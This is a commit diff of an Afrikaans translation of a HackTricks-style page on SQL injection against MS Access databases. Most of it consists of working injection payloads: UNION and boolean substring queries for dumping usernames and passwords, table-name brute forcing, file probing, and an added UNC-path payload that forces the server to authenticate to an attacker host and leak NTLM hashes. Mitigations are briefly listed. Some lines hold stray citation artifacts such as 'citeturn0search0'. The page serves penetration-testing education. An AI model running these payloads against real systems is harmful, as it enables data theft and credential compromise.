Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md

This commit is contained in:
Translator 2025-07-11 10:08:18 +00:00
parent 0f81207814
commit 385cf083a0

View File

@ -4,7 +4,7 @@
## Aanlyn Speelgrond
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## DB Beperkings
@ -25,13 +25,13 @@ As dit nie werk nie, kan jy altyd die sintaksis van die navraag regmaak:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Gelaaide Vrae
### Gestapelde Vrae
Hulle word nie ondersteun nie.
### BEPERK
Die **`BEPERK`** operator **is nie geïmplementeer nie**. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die **eerste N tabel rye met die `TOP` operator**. `TOP` aanvaar as argument 'n heelgetal, wat die aantal rye verteenwoordig wat teruggegee moet word.
Die **`LIMIT`** operator **is nie geïmplementeer nie**. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die **eerste N tabel rye met die `TOP` operator**. `TOP` aanvaar as argument 'n heelgetal, wat die aantal rye verteenwoordig wat teruggegee moet word.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
@ -41,18 +41,18 @@ Net soos TOP kan jy **`LAST`** gebruik wat die **rye van die einde** sal kry.
In 'n SQLi wil jy gewoonlik op een of ander manier 'n nuwe vraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in **subvrae of ekstra vrae 'n `FROM` aangedui word**.\
So, as jy 'n `UNION SELECT` of `UNION ALL SELECT` of 'n `SELECT` tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd **'n `FROM` met 'n geldige tabelnaam aandui**.\
Daarom moet jy 'n **geldige tabelnaam** weet.
Daarom moet jy 'n **geldige tabelnaam** ken.
```sql
-1' UNION SELECT username,password from users%00
```
### Ketting gelyk + Substring
### Chaining equals + Substring
> [!WARNING]
> Dit sal jou toelaat om waardes van die huidige tabel te exfiltreer sonder om die naam van die tabel te hoef te weet.
**MS Access** laat **vreemde sintaksis** soos **`'1'=2='3'='asd'=false`** toe. Soos gewoonlik sal die SQL-inspuiting binne 'n **`WHERE`** klousule wees en ons kan dit misbruik.
**MS Access** laat **weird syntax** toe soos **`'1'=2='3'='asd'=false`**. Soos gewoonlik sal die SQL-inspuiting binne 'n **`WHERE`** klousule wees en ons kan dit misbruik.
Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een **kolomnaam username** is, en dit is die veld wat jy wil **exfiltreer**. Jy kan die verskillende reaksies van die webtoepassing nagaan wanneer die ketting gelyk tegniek gebruik word en moontlik inhoud exfiltreer met 'n **booleaanse inspuiting** deur die **`Mid`** funksie te gebruik om substrings te verkry.
Stel jou voor jy het 'n SQLi in 'n MS Access-databasis en jy weet (of het geraai) dat een **kolomnaam username** is, en dit is die veld wat jy wil **exfiltreer**. Jy kan die verskillende antwoorde van die webtoepassing nagaan wanneer die chaining equals tegniek gebruik word en moontlik inhoud exfiltreer met 'n **boolean injection** deur die **`Mid`** funksie te gebruik om substrings te verkry.
```sql
'=(Mid(username,1,3)='adm')='
```
@ -60,11 +60,11 @@ As jy die **naam van die tabel** en **kolom** weet om te dump, kan jy 'n kombina
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Feel vry om dit in die aanlyn speelgrond te kontroleer._
_Feel free to check this in the online playground._
### Brute-forcing Tabelname
### Brute-forcing Tabel name
Deur die kettinggelyk tegniek te gebruik, kan jy ook **bruteforce tabelname** met iets soos:
Met die kettinggelyktegniek kan jy ook **bruteforce tabel name** met iets soos:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
@ -93,24 +93,34 @@ Of jy kan die kolomname van 'n **ander tabel** brute-force met:
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Data dump
### Dumping data
Ons het reeds die [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **bespreek om data van die huidige en ander tabelle te dump**. Maar daar is ander maniere:
Ons het reeds die [**chaining equals technique**](ms-access-sql-injection.md#chaining-equals-+-substring) **bespreek om data uit die huidige en ander tabelle te dump**. Maar daar is ander maniere:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in geval van sukses of 'n "500 Internal Error" andersins. Deur voordeel te trek uit die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.
In 'n neutedop gebruik die navraag 'n "if-then" verklaring om 'n "200 OK" te aktiveer in geval van sukses of 'n "500 Internal Error" andersins. Deur gebruik te maak van die TOP 10 operator, is dit moontlik om die eerste tien resultate te kies. Die daaropvolgende gebruik van LAST laat toe om slegs die 10de tuple te oorweeg. Op so 'n waarde, deur die MID operator te gebruik, is dit moontlik om 'n eenvoudige karaktervergelyking uit te voer. Deur die indeks van MID en TOP behoorlik te verander, kan ons die inhoud van die "username" veld vir alle rye dump.
### Tydgebaseerd
### Tydgebaseerde (Blind) Trukies
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
Jet/ACE SQL self stel **nie** 'n inheemse `SLEEP()` of `WAITFOR` funksie bloot nie, so tradisionele tydgebaseerde blinde inspuitings is beperk. U kan egter steeds 'n meetbare vertraging inbring deur die enjin te dwing om 'n **netwerkbron wat stadig is of nie antwoord nie** te benader. Omdat die enjin sal probeer om die lêer te open voordat dit die resultaat teruggee, weerspieël die HTTP-responstyd die rondreis latensie na die aanvaller-beheerde gasheer.
```sql
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
```
Wys die UNC-pad na:
* 'n SMB-aandeel agter 'n hoë-latensie skakel
* 'n gasheer wat die TCP-handdruk na `SYN-ACK` laat val
* 'n firewall sinkhole
Die ekstra sekondes wat deur die afstandsopsoek ingevoer word, kan gebruik word as 'n **uit-baan tydsoracle** vir booleaanse toestande (bv. kies 'n stadige pad slegs wanneer die ingespotte predikaat waar is). Microsoft dokumenteer die afstandsdatabasis gedrag en die geassosieerde register-killskakel in KB5002984. citeturn1search0
### Ander Interessante funksies
- `Mid('admin',1,1)` kry substring vanaf posisie 1 lengte 1 (beginposisie is 1)
- `LEN('1234')` kry lengte van string
- `ASC('A')` kry ascii waarde van karakter
- `CHR(65)` kry string van ascii waarde
- `ASC('A')` kry ascii-waarde van karakter
- `CHR(65)` kry string van ascii-waarde
- `IIF(1=1,'a','b')` as dan
- `COUNT(*)` Tel aantal items
@ -126,42 +136,75 @@ and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
However, note that is very typical to find SQL Injections where you **don't have access to read the table `MSysObjects`**.
However, let op dat dit baie tipies is om SQL-inspuitings te vind waar jy **nie toegang het om die tabel `MSysObjects` te lees nie**.
## FileSystem access
## Lêerstelseltoegang
### Web Root Directory Full Path
### Web Wortelgids Volle Pad
Die kennis van die **web root absolute path mag verdere aanvalle fasiliteer**. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data van 'n nie-bestaande databasis te kies.
Die kennis van die **web wortel absolute pad kan verdere aanvalle vergemaklik**. As toepassingsfoute nie heeltemal verborge is nie, kan die gids pad ontdek word deur te probeer om data van 'n nie-bestaande databasis te kies.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access reageer met 'n **foutboodskap wat die web gids se volle padnaam bevat**.
MS Access reageer met 'n **foutboodskap wat die webgids se volle padnaam bevat**.
### File Enumeration
### Lêeropsporing
Die volgende aanvalsvector kan gebruik word om **die bestaan van 'n lêer op die afstands-filsysteem af te lei**. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inligting gee dat die databasisformaat ongeldig is:
Die volgende aanvalsvector kan gebruik word om **die bestaan van 'n lêer op die afstand lêerstelsel af te lei**. As die gespesifiseerde lêer bestaan, aktiveer MS Access 'n foutboodskap wat inligting gee dat die databasisformaat ongeldig is:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Nog 'n manier om lêers te tel, bestaan uit **die spesifisering van 'n database.tabel item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **databasisformaat foutboodskap**.
Nog 'n manier om lêers op te spoor, bestaan uit **die spesifisering van 'n databasis.tabel item**. **As** die gespesifiseerde **lêer bestaan**, vertoon MS Access 'n **databasisformaat foutboodskap**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb File Name Guessing
### .mdb Lêernaam Raai
**Databasis lêernaam (.mdb)** kan afgelei word met die volgende navraag:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Waar **name\[i] 'n .mdb lêernaam is** en **realTable 'n bestaande tabel** binne die databasis. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam te onderskei.
Waar **name[i] 'n .mdb lêernaam is** en **realTable 'n bestaande tabel** binne die databasis is. Alhoewel MS Access altyd 'n foutboodskap sal aktiveer, is dit moontlik om tussen 'n ongeldige lêernaam en 'n geldige .mdb lêernaam te onderskei.
### .mdb Password Cracker
### Afstand Databasis Toegang & NTLM Kredensiaal Diefstal (2023)
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is 'n gratis nut wat gebruik kan word om die hoof databasis wagwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
Sedert Jet 4.0 kan elke navraag 'n tabel in 'n *ander* `.mdb/.accdb` lêer verwys via die `IN '<path>'` klousule:
```sql
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
```
As die gebruikersinvoer saamgevoeg word in die deel na **IN** (of in 'n `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` oproep) kan 'n aanvaller 'n **UNC pad** spesifiseer wat na 'n gasheer wys wat hulle beheer. Die enjin sal:
1. probeer om oor SMB / HTTP te verifieer om die afstanddatabasis te open;
2. die web-bediener se **NTLM akrediteerings** lek (gedwonge verifikasie);
3. die afstandlêer ontleed 'n verkeerd geformateerde of kwaadwillige databasis kan Jet/ACE geheue-korrupsie foute aktiveer wat al verskeie kere reggestel is (bv. CVE-2021-28455).
Praktiese inspuitvoorbeeld:
```sql
1' UNION SELECT TOP 1 name
FROM MSysObjects
IN '\\attacker\share\poc.mdb'-- -
```
Impact:
* Uit-baan eksfiltrasie van Net-NTLMv2 hashes (bruikbaar vir relay of offline kraking).
* Potensiële afstandkode-uitvoering as 'n nuwe Jet/ACE parser fout uitgebuit word.
Mitigations (aanbeveel selfs vir erfenis Classic ASP toepassings):
* Voeg die registerwaarde `AllowQueryRemoteTables = 0` by onder `HKLM\Software\Microsoft\Jet\4.0\Engines` (en onder die ekwivalente ACE pad). Dit dwing Jet/ACE om afstandspade wat met `\\` begin te verwerp.
* Blokkeer uitgaande SMB/WebDAV by die netwerkgrens.
* Sanitize / parameterise enige deel van 'n navraag wat in 'n `IN` klousule mag eindig.
Die gedwonge-authentikasie vektor is in 2023 deur Check Point Research herbesoek, wat bewys dat dit steeds uitgebuit kan word op ten volle gepatchte Windows Server wanneer die register sleutel afwesig is. citeturn0search0
### .mdb Wachtwoord Kraker
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) is 'n gratis nut wat gebruik kan word om die hoofdatabasiswachtwoord van Microsoft Access 95/97/2000/XP of Jet Database Engine 3.0/4.0 te herstel.
## References
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
- [Microsoft KB5002984 Konfigurasie van Jet/ACE om afstandstabelle te blokkeer](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
- [Check Point Research Misbruik van Microsoft Access Gekoppelde Tabels vir NTLM Gedwonge Authentikasie (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
{{#include ../../banners/hacktricks-training.md}}